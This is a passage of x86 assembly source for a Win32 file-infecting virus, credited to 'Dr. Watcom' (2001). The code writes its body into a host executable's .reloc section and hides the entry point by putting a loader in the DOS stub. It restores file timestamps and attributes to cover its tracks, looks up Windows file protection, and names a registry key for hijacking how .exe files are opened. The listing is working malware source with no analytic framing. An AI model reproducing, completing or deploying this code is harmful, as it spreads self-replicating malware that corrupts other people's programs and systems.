mov edi, esi
add esi, [esi.MZ_lfanew]
sub esi, edi
sub esi, size IMAGE_DOS_HEADER
cmp esi, SIZE_EPO_LOADER
jl IF_CloseView
; Find '.reloc' section
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov esi, [ebp + FileView]
add esi, [esi.MZ_lfanew]
movzx eax, word ptr [esi.FH_NumberOfSections]
mov [ebp + File_Sections], eax
add esi, size IMAGE_FILE_HEADER
mov eax, [esi.OH_ImageBase]
mov [ebp + File_ImageBase], eax
mov eax, [esi.OH_AddressOfEntryPoint]
add eax, [ebp + File_ImageBase]
mov [ebp + File_EntryPoint], eax
mov eax, [esi.OH_NumberOfRvaAndSizes]
imul ecx, eax, size IMAGE_DATA_DIRECTORY
add esi, size IMAGE_OPTIONAL_HEADER
add esi, ecx
mov eax, [ebp + File_Sections]
IF_TrySection:
cmp dword ptr [esi], 'ler.'
jne IF_NextSection
add esi, 2
cmp dword ptr [esi], 'cole'
jne IF_NextSection
sub esi, 2
jmp IF_FoundRelocs
IF_NextSection:
dec eax
test eax, eax
jz IF_CloseView
add esi, size IMAGE_SECTION_HEADER
jmp IF_TrySection
IF_FoundRelocs:
cmp [esi.SH_SizeOfRawData], VIRUS_SIZE
jl IF_CloseView
cmp [esi.SH_Characteristics], \
IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_WRITE
je IF_CloseView
mov [ebp + File_SectionHeader], esi
mov eax, [esi.SH_VirtualAddress]
mov [ebp + File_SectionRVA], eax
mov eax, [esi.SH_PointerToRawData]
mov [ebp + File_SectionRaw], eax
mov eax, [esi.SH_SizeOfRawData]
mov [ebp + File_SectionSize], eax
; Copy virus body
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IF_CopyVirusBody:
mov edi, [ebp + File_SectionRaw]
add edi, [ebp + FileView]
lea esi, [ebp + Start]
mov ecx, VIRUS_SIZE
cld
rep movsb
mov ecx, [ebp + File_SectionSize]
sub ecx, VIRUS_SIZE
xor eax, eax
rep stosb
; Insert EPO loader into DOS header/stub
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IF_InsertLoader:
xor eax, eax
mov edi, [ebp + FileView] ; Start of file
mov [edi.MZ_ip], ax ; Clear DOS entry point
mov [edi.MZ_lfarlc], ax ; Clear DOS relocations
add edi, 2 ; Skip 'MZ' signature
mov al, OPCODE_JMP_SHORT ; Setup a JMP SHORT <DISP>
stosb ; Insert JMP SHORT opcode
mov eax, size IMAGE_DOS_HEADER ; Calc destination: after MZ header
add eax, 2 ; skipping first 2 bytes of code
sub al, 4 ; but relative to next EIP!
stosb ; Insert displacement byte
mov eax, [ebp + File_ImageBase] ; Calculate virus entry point:
add eax, [ebp + File_SectionRVA] ; image base + virus section RVA
lea edx, [ebp + EntryPoint] ; Save virus entry point into our
mov [edx], eax ; loader code
mov edi, [ebp + FileView] ; Start of file
add edi, size IMAGE_DOS_HEADER ; Go beyond MZ header
lea esi, [ebp + EPOLoader] ; Address of our loader code
mov ecx, SIZE_EPO_LOADER ; Size of code
rep movsb ; Store it!
; Update headers
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IF_UpdateHeaders:
mov edi, [ebp + FileView]
add edi, [edi.MZ_lfanew]
add edi, size IMAGE_FILE_HEADER
xor eax, eax ; Clear entry point (reset to zero)
mov [edi.OH_AddressOfEntryPoint], eax
mov esi, [ebp + File_SectionHeader]
mov [esi.SH_Characteristics], \
IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_WRITE
mov [ebp + FileInfected], TRUE ; Infection complete
; Unmap the view
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IF_CloseView:
push [ebp + FileView]
api UnmapViewOfFile
; Close the file mapping object
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IF_CloseMapping:
push [ebp + FileMapping]
api CloseHandle
; Close the file handle, restore times
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IF_CloseFile:
IF DEBUG
push [ebp + FileHandle]
api CloseHandle
ELSE
lea edx, [ebp + FileTime_Written]
push edx
lea edx, [ebp + FileTime_Accessed]
push edx
lea edx, [ebp + FileTime_Created]
push edx
push [ebp + FileHandle]
api SetFileTime
push [ebp + FileHandle]
api CloseHandle
ENDIF
; Restore the file attributes
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IF_RestoreAttribs:
push [ebp + FileAttribs]
push [ebp + FileName]
api SetFileAttributes
IF_Quit:
popad
ret
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º EPO - stub program º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; Code to replace victim's DOS stub
;
EPOLoader:
db 0Ebh ; jmps ...
db MSDOS_Code-WIN32_Code ; (relative displacement)
WIN32_Code:
db 052h ; push edx
db 045h ; inc ebp
db 068h ; push ...
EntryPoint:
dd 000000000h ;
db 033h, 0C0h ; xor eax, eax
db 064h, 0FFh, 030h ; push fs:[eax]
db 064h, 089h, 020h ; mov fs:[eax], esp
db 0F7h, 0F0h ; div eax
MSDOS_Code:
db 0BAh ; mov dx ...
dw MSDOS_String-EPOLoader ; (offset string)
db 00Eh ; push cs
db 01Fh ; pop ds
db 0B4h, 009h ; mov ah, 09
db 0CDh, 021h ; int 21
db 0B8h, 001h, 04ch ; mov ax, 04C01
db 0CDh, 021h ; int 21
MSDOS_String:
; db 'This program requires Microsoft Windows.'
; db 'This program cannot be run in DOS mode.'
; db 'This program must be run under Win32.'
; Aargh! I need more space!
db 'This program needs Win32'
db CRLF, '$', 0
EPOLoader_End:
SIZE_EPO_LOADER equ EPOLoader_End - EPOLoader
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Virus Data º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Kernel32 dd 00h
HostEntry dd 00h
CRC32 dd 00h
Key32 dd 00h
Count dd 00h
StartupInfo dd 00h
ProcessInfo dd 00h
CmdLine dd 00h
CmdSpawn dd 00h
CmdExefile dd 00h
RndSeed_1 dd 00h
RndSeed_2 dd 00h
RndSeed_3 dd 00h
RndSeed_4 dd 00h
RndSeed_5 dd 00h
RndSeed_6 dd 00h
; Export table data
;-------------------------------
ET_MaxNames dd 00h
ET_PtrNames dd 00h
ET_PtrAddresses dd 00h
ET_PtrOrdinals dd 00h
ET_TmpAddress dd 00h
; Infection data
;-------------------------------
FileName dd 00h
FileAttribs dd 00h
FileSize dd 00h
FileHandle dd 00h
FileMapping dd 00h
FileView dd 00h
FileTime_Created dd 00h, 00h
FileTime_Accessed dd 00h, 00h
FileTime_Written dd 00h, 00h
File_ImageBase dd 00h
File_EntryPoint dd 00h
File_Sections dd 00h
File_SectionHeader dd 00h
File_SectionSize dd 00h
File_SectionRaw dd 00h
File_SectionRVA dd 00h
FileInfected dd 00h
Kernel_API_CRC32:
_ExitProcess dd 040F57181h
_CreateProcess dd 0267E0B05h
_LoadLibrary dd 04134D1ADh
_GetProcAddress dd 0FFC97C1Fh
_GlobalAlloc dd 083A353C3h
_GetModuleFileName dd 004DCF392h
_GetStartupInfo dd 052CA6A8Dh
_GetCommandLine dd 03921BF03h
_GetWindowsDirectory dd 0FE248274h
_CloseHandle dd 068624A9Dh
_CreateFile dd 08C892DDFh
_CreateFileMapping dd 096B2D96Ch
_MapViewOfFile dd 0797B49ECh
_UnmapViewOfFile dd 094524B42h
_GetFileAttributes dd 0C633D3DEh
_SetFileAttributes dd 03C19E536h
_GetFileSize dd 0EF7D811Bh
_GetFileTime dd 04434E8FEh
_SetFileTime dd 04B2A3E7Dh
_CopyFile dd 05BD05DB1h
_GetTickCount dd 0613FD7BAh
_GetSystemTime dd 075B7EBE8h
_Sleep dd 00AC136BAh
_lstrcat dd 0C7DE8BACh
dd 00000000h
Kernel_API_Addr:
ExitProcess_ dd 0
CreateProcess dd 0
LoadLibrary dd 0
GetProcAddress dd 0
GlobalAlloc dd 0
GetModuleFileName dd 0
GetStartupInfo dd 0
GetCommandLine dd 0
GetWindowsDirectory dd 0
CloseHandle dd 0
CreateFile dd 0
CreateFileMapping dd 0
MapViewOfFile dd 0
UnmapViewOfFile dd 0
GetFileAttributes dd 0
SetFileAttributes dd 0
GetFileSize dd 0
GetFileTime dd 0
SetFileTime dd 0
CopyFile dd 0
GetTickCount dd 0
GetSystemTime dd 0
Sleep dd 0
lstrcat dd 0
User_API_CRC32:
_MessageBox dd 0D8556CF7h
_wsprintf dd 0A10A30B6h
dd 00000000h
User_API_Addr:
MessageBox dd 0
wsprintf dd 0
Advapi_API_CRC32:
_RegOpenKeyEx dd 0CD195699h
_RegCloseKey dd 0841802AFh
_RegSetValueEx dd 05B9EC9C6h
_RegSetValue dd 0E78187CEh
dd 00000000h
Advapi_API_Addr:
RegOpenKeyEx dd 0
RegCloseKey dd 0
RegSetValueEx dd 0
RegSetValue dd 0
Strings:
szVirusName db VIRUS_NAME, 0
szVirusCredits db '[',VIRUS_NAME, '] ', VIRUS_VERSION, CRLF
db '(c) 2001 by Dr. Watcom', CRLF, CRLF
db 'Communio gets us closer to our Dark Father', CRLF
db 'Come, share your vitae with me', CRLF, 0
szUser32 db 'USER32.DLL', 0
szAdvapi32 db 'ADVAPI32.DLL', 0
szSfc db 'SFC.DLL', 0
szSfcProc db 'SfcIsFileProtected', 0
szRegKey db 'exefile\shell\open\command', 0
szRegValue db SPAWN_NAME, ' ', 1, '"%1" %*', 0
szSpawnFile db '\', SPAWN_NAME, 0
Padding dd ?
End:
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Host Code º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
FakeHost:
mov esi, offset szBait
call InfectFile
sub esp, 1024
mov esi, esp
push 2
push VIRUS_SIZE
push VIRUS_SIZE
push offset szTemplate
push esi
call _wsprintfA
push 1040h
push offset szTitle
push esi
push 0
call MessageBoxA
add esp, 1024
FakeHost_Quit:
push 0
call ExitProcess
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
End Start
End